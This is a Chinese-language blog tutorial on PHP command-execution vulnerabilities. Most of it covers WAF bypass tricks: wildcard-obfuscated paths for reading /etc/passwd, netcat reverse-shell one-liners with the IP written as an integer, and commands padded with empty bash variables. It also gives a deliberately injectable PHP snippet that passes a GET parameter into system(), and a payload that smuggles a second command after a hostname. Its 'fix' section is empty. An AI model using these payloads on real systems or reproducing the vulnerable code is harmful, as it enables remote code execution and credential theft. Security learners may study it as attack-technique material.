标签:popen use 系统命令 包括 magic 没有 function 远程命令执行 ip地址
命令执行漏洞原理:
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
命令执行漏洞利用条件:
漏洞分类:
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:system("/bin/program --arg $arg");
bash破壳漏洞(CVE-2014-6271)
如wordPress中用来处理图片的imageMagick组件
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行
漏洞危害:
命令拼接符
|、||、&、&&的区别:
&:无论左边是false还是true,右边都执行
&&:具有短路效果,左边是false,右边不执行。
|:无论左边是false还是true,右边都会执行
||:具有短路效果,左边是true,右边不执行。
代码执行:
利用系统函数实现命令执行,在php下,允许命令执行的函数有:
eval()、assert()、preg_replace()、call_user_func()
如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞
其他函数
ob_start()、unserialize()、creat_function()
、usort()、uasort()、uksort()、
array_filter()、
array_reduce()、
array_map()......
系统命令执行漏洞
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
反引号
......
命令执行WAF绕过技巧
技巧一:通配符
ls-l
使用通配符
/?in/?s-l
/???/??t /??c/p???w?
有时候WAF不允许使用太多的?号
/?in/cat/?tc/p?sswd
NC反弹shell:
nc -e /bin/bash 127.0.0.1 3737
为了避免符号,可以将IP地址转换成整型。
127.0.0.1->2130706433
使用通配符
root@kali:~#/??n/?c -e/??n/b??h 2130706433 3737
技巧二:连接符
技巧三:未初始化的bash变量
在bash环境中允许我们使用未初始化的bash变量,如何
$a ,$b,$c
我们事先并没有定义它们,输出看看:
root@kali:~# echo $a
root@kali:~# echo $b
root@kali:~# echo $c
root@kali:~#
未初始化的变量值都是null
读取/etc/passwd:
cat$a /etc$a/passwd$a
测试WAF
测试代码:
<?php
echo "OK";
system(‘dig‘.$_GET[‘host‘]);
?>
www.baidu.com;$s/bin$s/which$s nc$s
反弹shell:
/bin$s/nc$s -e/bin$s/bash$s 2130706433 3737
漏洞修复:
标签:popen use 系统命令 包括 magic 没有 function 远程命令执行 ip地址
原文地址:https://www.cnblogs.com/happystudyhuan/p/11458455.html